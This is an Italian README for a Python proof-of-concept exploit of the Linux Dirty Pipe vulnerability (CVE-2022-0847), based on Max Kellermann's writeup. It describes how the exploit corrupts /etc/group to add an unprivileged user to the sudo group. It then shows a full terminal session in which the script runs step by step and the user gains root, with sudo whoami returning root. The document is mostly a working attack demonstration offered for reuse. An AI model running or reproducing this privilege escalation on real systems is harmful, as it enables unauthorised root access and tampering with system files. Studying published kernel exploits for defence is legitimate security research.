
POC Exploit per aggiungere un utente a sudo per la vulnerabilità Dirty Pipe CVE-2022-0847
Questo repository si basa sulla vulnerabilità, writeup ed exploit prodotti da Max Kellermann, tutto disponibile qui.
Come tutti, ho voluto approfittare di giocare con la più banale escalation dei privilegi da riprodurre al mondo; il post del blog fa un ottimo lavoro nello spiegare tutto.
Ho tradotto l'exploit in Python semplicemente per capirlo meglio, ma questa è una copia esatta dell'exploit in C con l'escalation dei privilegi di Sudo hardcoded.
Python 3.10 (a causa dell'uso di os.splice)
Corrompe il file /etc/group scrivendo nella riga immediatamente successiva alla voce sudo. Ma quando sei root puoi sistemarlo usando la copia.
Posiziona una copia di /etc/group in /tmp/group_backup
test@kali:/home/user/working$ whoami
test
test@kali:/home/user/working$ sudo whoami
test is not in the sudoers file. This incident will be reported.
test@kali:/home/user/working$ python3.10 poc.py
[*] Dirty PIPE POC [*]
[*] Exploit will add test to sudoers
[*] Finding offset of sudo entry in /etc/group
[*] Found sudo group offset
[*] Confirmed it is not last.
[*] Opening /etc/group
[*] Opening PIPE
[*] Contaminating flags of pipe buffer
[*] 65536 bytes written to pipe
[*] 65536 bytes read from pipe
[*] Splicing byte from /etc/group to pipe
[*] Spliced 1 bytes
[*] Altering group to add test
[*] 6 bytes written to /etc/group
test@kali:/home/user/working$ su test
Password:
test@kali:/home/user/working$ sudo whoami
root
test@kali:/home/user/working$